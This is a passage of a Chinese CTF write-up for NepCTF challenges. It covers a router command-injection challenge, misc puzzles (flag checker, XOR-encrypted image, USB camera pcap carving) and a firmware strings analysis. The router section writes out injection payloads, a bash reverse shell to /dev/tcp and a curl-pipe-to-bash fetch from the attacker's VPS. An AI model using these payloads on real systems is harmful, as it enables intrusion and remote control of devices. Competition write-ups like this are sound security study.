修改前端,把 TEST 改成 NepNepIStheBestTeam

image-20240825192051064

然后再点Register,注册成功后发现能用这个账号登陆,说明我们可以通过修改前端改数据

接着来到8080的网站,用 NepNepIStheBestTeam 登陆,可以登陆上网页

image-20240825192414944

这里有一个填地址的地方,抓一下这里的包

image-20240825193247286

可以看到是请求了/setrouter路由,对应上router 中的sub_1E91逻辑

image-20240825193450287

可以看到最后是走到了一个sub_1979,点进去查看,发现可以 RCE

image-20240825193546560

curl探测一下,发现能够出网带出数据,这里有一点小坑就是,请求的参数里不能有空格,可以用${IFS}来代替空格

导致这个现象发生是因为这里

image-20240825193754755

这里用了空格作为分割符来分割字符串,如果我们传进去的参数带有空格就会被分割了,从而丢掉了空格后边的数据

探测出网:

/setrouter?ip_address=123;curl${IFS}xxxx:2333

vps 收到了数据

接着反弹shell,同上面的原因,一样不能使用&这个字符,我是使用curl来执行远程的bash文件

vps用户python启动一个http

python3 -m http.server 2334

sh里写反弹shell

bash -i >& /dev/tcp/xxx/2333 0>&1

接着靶机执行:

/setrouter?ip_address=123;curl${IFS}xxxx:2334/sh|bash

成功弹上shell

image-20240825194657450

直接 cat README.txt,得到flag1

image-20240825194740404

NepRouter-白给

查看进程

ps -axu

image-20240825194908032

收集到一些信息:

blood-pool-HRP 运行在 9999 端口,浏览器访问验证一下发现能访问

image-20240825195053328

此时可以看到,这里需要我们输入flag,把程序扒下来看一下。

先cd 到 /blood-pool ,然后看一下有什么

image-20240825195259416

发现有一个flag.txt,但没权限读,ssh.txt里面是一个用户

熟悉的操作,在靶机用python启动一个http服务

python3 -m http.server 9998

image-20240825195431476

然后把 blood-pool-HRP 下载下来

接着把python服务终止掉,重新反弹shell

反编译程序,可以发现flag是从数据库中查的。

image-20240826060416711

main_initDB中可以看到数据库名TradeSecrets

image-20240826060327422

接着查数据库,直接用mysql查不了,可以用python连数据库查

python3 -c "import mysql.connector;DB_CONFIG = {'host': 'localhost','user': 'root','password': 'Nep+-*/HRP123456789','database':'TradeSecrets'};db = mysql.connector.connect(**DB_CONFIG);cursor = db.cursor();cursor.execute('select * from flag');res = cursor.fetchone();print(res);cursor.close();db.close()"

最终得到flag

NepCTF{U_GET_THE_TWO_IT_IS_EASY_NO_RIGHT?}

MISC

NepMagic —— CheckIn

认真玩游戏即可得到flag

image-20240824165934829

Nemophila

先看mimi.py,通过分析可以得到key

源码:

import base64

print("这里有一个藏宝室,镇守着一个宝箱怪,当你说出正确的口令时,你也就快获得了这个屋子里最至高无上的宝物。")
print("提示:宝箱怪只会提示你口令正确与否,请你试试吧!")
flag = input('Turn in your guess: ')

if len(flag) !=48:
print("长度不对!")
exit(1)

if ord(flag.capitalize()[0]) != 83 or not flag[0].islower():
print("Please try again!")
exit(1)

if flag[-3:] != "ve}":
print("Please try again!")
exit(1)

if flag.count(chr(95)) != 4:
print("Please try again!")
exit(1)

if base64.b64encode((flag[10:13]+flag[28:31]).encode('utf-8')).decode() != 'RnJpSGlt':
print("Please try again!")
exit(1)

if int(flag[24:26]) > 10 and int(flag[24:26]) < 20 and pow(int(flag[24:26]),2,5) != 0:
print("好像有点不对!")
exit(1)

number = flag[33] + flag[41] + flag[43:45]
if int(number) * 9_27 != 1028970 and not number.isnumeric():
print("还是不对呢!")
exit(1)

if flag[35:41].replace("e", "1") != "1t1rna":
print("Please try again!")
exit(1)

if flag[31:33].swapcase() != "ME":
print("这不是我!")
exit(1)

if list(map(len,flag.split("_"))) != [6, 12, 14, 7, 5] and list(map(len,flag.split("&"))) != [17, 9, 20]:
print("换个顺序!")
exit(1)

if ord(min(flag[:2].swapcase())) != 69:
print("Please try again!")
exit(1)

if flag[2] + flag[4:6] != "cet4"[:3]:
print("我不想考四级!")
exit(1)

new=""
for i in flag[7:10] + flag[18] + flag[26]: new += chr(ord(i) + 1)
if new != "jt|Df":
print("Please try again!")
exit(1)

if "SunR" in flag and "eren" in flag:
print("好像对了!可以先去试试!")
exit(1)

print("恭喜你~发现了上个世纪的秘密~快去向冒险家协会索要报酬吧!")

最终得到

secret_is{Frieren&C_SunR15e&Himme1_eterna1_10ve}

把这个拿去解压压缩包,得到新的文件,根据文件后缀,猜测原本应该是png图片,拿正常文件的文件头和它做异或,发现key还是上面那串

exp:

enc = open('miaomiao.png','rb').read()
key = b'secret_is{Frieren&C_SunR15e&Himme1_eterna1_10ve}'
flag = []
for i in range(len(enc)):
data = enc[i]^key[i%len(key)]
flag.append(data)

flag = bytes(flag)

open('flag.png','wb').write(flag)

再将得到的文件修改高度,在文件底部得到flag。

image-20240824221252171

3DNep

在线网站 查看模型,可以在模型底部看到一个汉信码

image-20240824222600683

接着找一个 在线网站 扫码,即可得到flag

image-20240824222651259

NepCamera

先将usb的数据提取出来

tshark -r NepCamera.pcapng -T fields -e usb.iso.data > test

接着通过观察,发现里面的数据有大量的ffd8ffe0

接着以\n,为分割符,将所有数据分离,并将每条数据的前 24 个字符丢弃,合成一整条字符串。

最后以 ffd8ffe0 为界限,把所有图片提取出来

datas = open('test','r').read().strip().split('\n')

hex_data = ''

for i in datas:
data = i.split(',')
hex_data += ''.join([d[24:] for d in data])

print(len(hex_data))
cnt = 0
while True:
start = hex_data.find('ffd8ffe0')
if start == -1:
break
end = hex_data[start+8:].find('ffd8ffe0')
if end == -1:
end = len(hex_data)
out_data = hex_data[start:end]
hex_data = hex_data[end:]
out_data = bytes.fromhex(out_data)
open('./img/'+str(cnt)+'.png','wb').write(out_data)
cnt += 1

print(cnt)

通过查看图片,可以把flag抄下来

flag{Th3_c4mer4_takes_c1ear_pictures}

HardWare

火眼金睛

先用 binwalk 分离

binwalk NepCTF_m9gv1.bin -e

接着把*.7z* 文件删掉,用strings 简单分析,看那个可能是需要逆向的程序

strings 1*
strings 19*

通过排除法可以知道分离出来的19047F可能是要分析的程序

接着把文件底部的一堆字符串复制出来处理

根据提示,有特殊的函数名,先猜测可能是base64 ,搜索一下,发现真有个base64

image-20240825145342765

接着根据base64的特征去找,赌他一手结尾有=,发现还真有

image-20240825145448679

但这个字符串并不是base64,只有大写字母+数字,复制下来用CyberChef 一把梭了

image-20240825145618000

flag:

NepCTF{Y0u_G0t_K33n_1nS1ght_1n_vXw0rKs!!!_L3t's_G0_Furth3r}